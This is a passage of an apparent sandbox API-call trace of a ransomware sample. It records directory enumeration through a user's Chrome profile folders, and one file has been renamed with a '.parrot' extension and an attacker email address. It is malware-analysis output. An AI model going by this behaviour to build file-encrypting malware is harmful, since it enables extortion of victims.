lpFindFileData=0x18e9ac) returned 0x600510 [0076.073] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.073] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0076.073] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0076.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0076.074] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0076.074] lstrcmpW (lpString1="SwReporter", lpString2=".") returned 1 [0076.074] lstrcmpW (lpString1="SwReporter", lpString2="..") returned 1 [0076.074] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.074] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.074] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.074] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.074] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.074] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.074] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.074] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.074] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69d360 | out: hHeap=0x5b0000) returned 1 [0076.074] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0076.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0076.075] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0076.075] lstrcmpW (lpString1="WidevineCdm", lpString2=".") returned 1 [0076.075] lstrcmpW (lpString1="WidevineCdm", lpString2="..") returned 1 [0076.075] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.075] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.075] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.075] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.075] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.075] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.075] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.075] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.076] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0076.076] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0076.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0076.076] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0076.076] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.076] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbad360c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbad360c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.076] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0076.076] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa8905440, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa8905440, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0076.076] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbac51880, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbac51880, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0076.076] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVWhitelist", cAlternateFileName="EVWHIT~1")) returned 1 [0076.076] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0076.077] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f8b8920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f8b8920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f8b8920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0076.077] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85749110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c0bcce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbac779e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x10948, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="LOCALS~1.PAR")) returned 1 [0076.078] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.078] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.079] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbad360c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbad360c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0076.079] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbad360c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbad360c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 0 [0076.079] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0076.079] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0076.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0076.080] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0076.080] lstrcmpW (lpString1="CrashReports", lpString2=".") returned 1 [0076.080] lstrcmpW (lpString1="CrashReports", lpString2="..") returned 1 [0076.080] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.080] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.080] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.080] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.080] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.080] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.080] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.081] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.081] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0076.081] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0076.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0076.081] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 0 [0076.081] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0076.082] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.082] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0076.082] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0076.082] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 0 [0076.082] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da458 | out: hHeap=0x5b0000) returned 1 [0076.082] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0076.084] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0076.084] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0076.084] lstrcmpW (lpString1="History", lpString2=".") returned 1 [0076.084] lstrcmpW (lpString1="History", lpString2="..") returned 1 [0076.084] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0xffffffff [0076.085] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0xffffffff [0076.085] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da458 | out: hHeap=0x5b0000) returned 1 [0076.085] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0076.085] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x28f14980, 